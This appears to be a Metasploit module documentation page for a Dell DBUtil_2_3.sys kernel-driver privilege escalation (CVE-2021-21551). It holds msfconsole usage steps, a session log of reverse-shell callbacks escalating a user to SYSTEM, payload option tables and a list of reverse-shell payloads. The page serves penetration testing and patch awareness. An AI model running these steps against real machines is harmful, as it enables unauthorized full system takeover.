Dell DBUtil_2_3.sys IOCTL memmove - Metasploit
This page contains detailed information about how to use the exploit/windows/local/cve_2021_21551_dbutil_memmove metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Dell DBUtil_2_3.sys IOCTL memmove
Module: exploit/windows/local/cve_2021_21551_dbutil_memmove
Source code: modules/exploits/windows/local/cve_2021_21551_dbutil_memmove.rb
Disclosure date: 2021-05-04
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2021-21551
The DBUtil_2_3.sys driver distributed by Dell exposes an unprotected IOCTL interface that can be abused by an attacker read and write kernel-mode memory.
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-os-restarts: Module may crash the OS, but the OS restarts.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/windows/local/cve_2021_21551_dbutil_memmove
msf exploit(cve_2021_21551_dbutil_memmove) > show targets
... a list of targets ...
msf exploit(cve_2021_21551_dbutil_memmove) > set TARGET target-id
msf exploit(cve_2021_21551_dbutil_memmove) > show options
... show and set options ...
msf exploit(cve_2021_21551_dbutil_memmove) > set SESSION session-id
msf exploit(cve_2021_21551_dbutil_memmove) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
The DBUtil_2_3.sys driver distributed by Dell exposes an unprotected IOCTL interface that can be abused by an attacker read and write kernel-mode memory.
Supported Targets
- Windows 7 SP0 x64
- Windows 7 SP1 x64
- Windows 8.1 x64
- Windows 10 x64 v1607 - 21H1 (builds 14393 - 19043)
- Windows Server 2016 x64
- Windows Server 2019 x64
Verification Steps
- Start msfconsole
- Get a Meterpreter session on a vulnerable host
- Do:
use exploit/windows/local/cve_2021_21551_dbutil_memmove
- Set the
SESSION
andPAYLOAD
options - Do:
run
- You should get a shell.
Scenarios
Windows 10 Version 1909 Build 18363.418 x64
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Sending stage (200262 bytes) to 192.168.159.79
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.79:57013) at 2021-05-12 16:10:10 -0400
meterpreter > sysinfo
Computer : DESKTOP-RTCRBEV
OS : Windows 10 (10.0 Build 18363).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 5
Meterpreter : x64/windows
meterpreter > getuid
Server username: DESKTOP-RTCRBEV\Alice Liddle
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
meterpreter > run exploit/windows/local/cve_2021_21551_dbutil_memmove
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Launching notepad to host the DLL...
[+] Process 5212 launched.
[*] Reflectively injecting the DLL into 5212...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (200262 bytes) to 192.168.159.79
[*] Meterpreter session 3 opened (192.168.159.128:4444 -> 192.168.159.79:57015) at 2021-05-12 16:12:43 -0400
[*] Session 3 created in the background.
meterpreter > sessions 3
[*] Backgrounding session 2...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the windows/local/cve_2021_21551_dbutil_memmove exploit module looks in the msfconsole:
msf6 > use exploit/windows/local/cve_2021_21551_dbutil_memmove
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2021_21551_dbutil_memmove) > show info
Name: Dell DBUtil_2_3.sys IOCTL memmove
Module: exploit/windows/local/cve_2021_21551_dbutil_memmove
Platform: Windows
Arch: x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2021-05-04
Provided by:
Kasif Dekel
SentinelLabs
Spencer McIntyre
Module stability:
crash-os-restarts
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Windows x64
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload information:
Description:
The DBUtil_2_3.sys driver distributed by Dell exposes an unprotected
IOCTL interface that can be abused by an attacker read and write
kernel-mode memory.
References:
https://nvd.nist.gov/vuln/detail/CVE-2021-21551
https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/
https://www.dell.com/support/kbdoc/ro-ro/000186019/dsa-2021-088-dell-client-platform-security-update-for-dell-driver-insufficient-access-control-vulnerability
Module Options
This is a complete list of options available in the windows/local/cve_2021_21551_dbutil_memmove exploit:
msf6 exploit(windows/local/cve_2021_21551_dbutil_memmove) > show options
Module options (exploit/windows/local/cve_2021_21551_dbutil_memmove):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x64
Advanced Options
Here is a complete list of advanced options supported by the windows/local/cve_2021_21551_dbutil_memmove exploit:
msf6 exploit(windows/local/cve_2021_21551_dbutil_memmove) > show advanced
Module advanced options (exploit/windows/local/cve_2021_21551_dbutil_memmove):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ForceExploit false no Override check result
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/local/cve_2021_21551_dbutil_memmove module can exploit:
msf6 exploit(windows/local/cve_2021_21551_dbutil_memmove) > show targets
Exploit targets:
Id Name
-- ----
0 Windows x64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/cve_2021_21551_dbutil_memmove exploit:
msf6 exploit(windows/local/cve_2021_21551_dbutil_memmove) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/windows/x64/exec normal No Windows x64 Execute Command
4 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
5 payload/windows/x64/messagebox normal No Windows MessageBox x64
6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
19 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
20 payload/windows/x64/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
21 payload/windows/x64/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline (x64)
22 payload/windows/x64/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline (x64)
23 payload/windows/x64/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
24 payload/windows/x64/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
25 payload/windows/x64/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline x64
26 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
27 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
28 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
29 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
30 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
31 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
32 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
33 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
34 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
35 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
36 payload/windows/x64/pingback_reverse_tcp normal No Windows x64 Pingback, Reverse TCP Inline
37 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
38 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
39 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
40 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
41 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
42 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
43 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
44 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
45 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
46 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
47 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
48 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
49 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
50 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
51 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
52 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
53 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
54 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
55 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
56 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
57 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
58 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
59 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
60 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
61 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
62 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/local/cve_2021_21551_dbutil_memmove exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/local/cve_2021_21551_dbutil_memmove) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Session is already elevated
Here is a relevant code snippet related to the "Session is already elevated" error message:
95: false
96: end
97:
98: def exploit
99: if is_system?
100: fail_with(Failure::None, 'Session is already elevated')
101: end
102:
103: # check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL
104: unless target_compatible?
105: fail_with(Failure::NoTarget, 'The exploit does not support this target')
The exploit does not support this target
Here is a relevant code snippet related to the "The exploit does not support this target" error message:
100: fail_with(Failure::None, 'Session is already elevated')
101: end
102:
103: # check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL
104: unless target_compatible?
105: fail_with(Failure::NoTarget, 'The exploit does not support this target')
106: end
107:
108: if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
109: fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
110: elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
Running against WOW64 is not supported
Here is a relevant code snippet related to the "Running against WOW64 is not supported" error message:
104: unless target_compatible?
105: fail_with(Failure::NoTarget, 'The exploit does not support this target')
106: end
107:
108: if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
109: fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
110: elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
111: fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
112: elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
113: fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
114: end
Session host is x64, but the target is specified as x86
Here is a relevant code snippet related to the "Session host is x64, but the target is specified as x86" error message:
106: end
107:
108: if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
109: fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
110: elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
111: fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
112: elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
113: fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
114: end
115:
116: encoded_payload = payload.encoded
Session host is x86, but the target is specified as x64
Here is a relevant code snippet related to the "Session host is x86, but the target is specified as x64" error message:
108: if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
109: fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
110: elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
111: fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
112: elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
113: fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
114: end
115:
116: encoded_payload = payload.encoded
117: execute_dll(
118: ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-21551', 'CVE-2021-21551.x64.dll'),
Go back to menu.
Related Pull Requests
- #15575 Merged Pull Request: Update Gemfile.lock
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions
References
- CVE-2021-21551
- https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/
- https://www.dell.com/support/kbdoc/ro-ro/000186019/dsa-2021-088-dell-client-platform-security-update-for-dell-driver-insufficient-access-control-vulnerability
See Also
Check also the following modules related to this module:
- post/windows/manage/dell_memory_protect
- exploit/windows/local/cve_2017_8464_lnk_lpe
- exploit/windows/local/cve_2018_8453_win32k_priv_esc
- exploit/windows/local/cve_2019_1458_wizardopium
- exploit/windows/local/cve_2020_0668_service_tracing
- exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
- exploit/windows/local/cve_2020_0796_smbghost
- exploit/windows/local/cve_2020_1048_printerdemon
- exploit/windows/local/cve_2020_1054_drawiconex_lpe
- exploit/windows/local/cve_2020_1313_system_orchestrator
- exploit/windows/local/cve_2020_1337_printerdemon
- exploit/windows/local/cve_2020_17136
- exploit/windows/local/cve_2021_1732_win32k
- exploit/windows/local/cve_2021_40449
- exploit/windows/local/cve_2022_21882_win32k
- exploit/windows/local/cve_2022_21999_spoolfool_privesc
- exploit/windows/local/cve_2022_26904_superprofile
- exploit/windows/dcerpc/cve_2021_1675_printnightmare
- exploit/windows/fileformat/cve_2017_8464_lnk_rce
- exploit/windows/misc/cve_2022_28381_allmediaserver_bof
- exploit/windows/rdp/cve_2019_0708_bluekeep_rce
- exploit/windows/smb/cve_2020_0796_smbghost
- exploit/linux/http/cve_2019_1663_cisco_rmi_rce
- exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
- exploit/linux/local/cve_2021_3493_overlayfs
- exploit/linux/local/cve_2021_38648_omigod
- exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
- exploit/linux/local/cve_2022_0847_dirtypipe
- exploit/linux/local/cve_2022_0995_watch_queue
- exploit/linux/misc/cve_2020_13160_anydesk
- exploit/linux/misc/cve_2021_38647_omigod
- exploit/multi/http/cve_2021_35464_forgerock_openam
- exploit/multi/sap/cve_2020_6207_solman_rs
Related Nessus plugins:
Authors
- Kasif Dekel
- SentinelLabs
- Spencer McIntyre
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.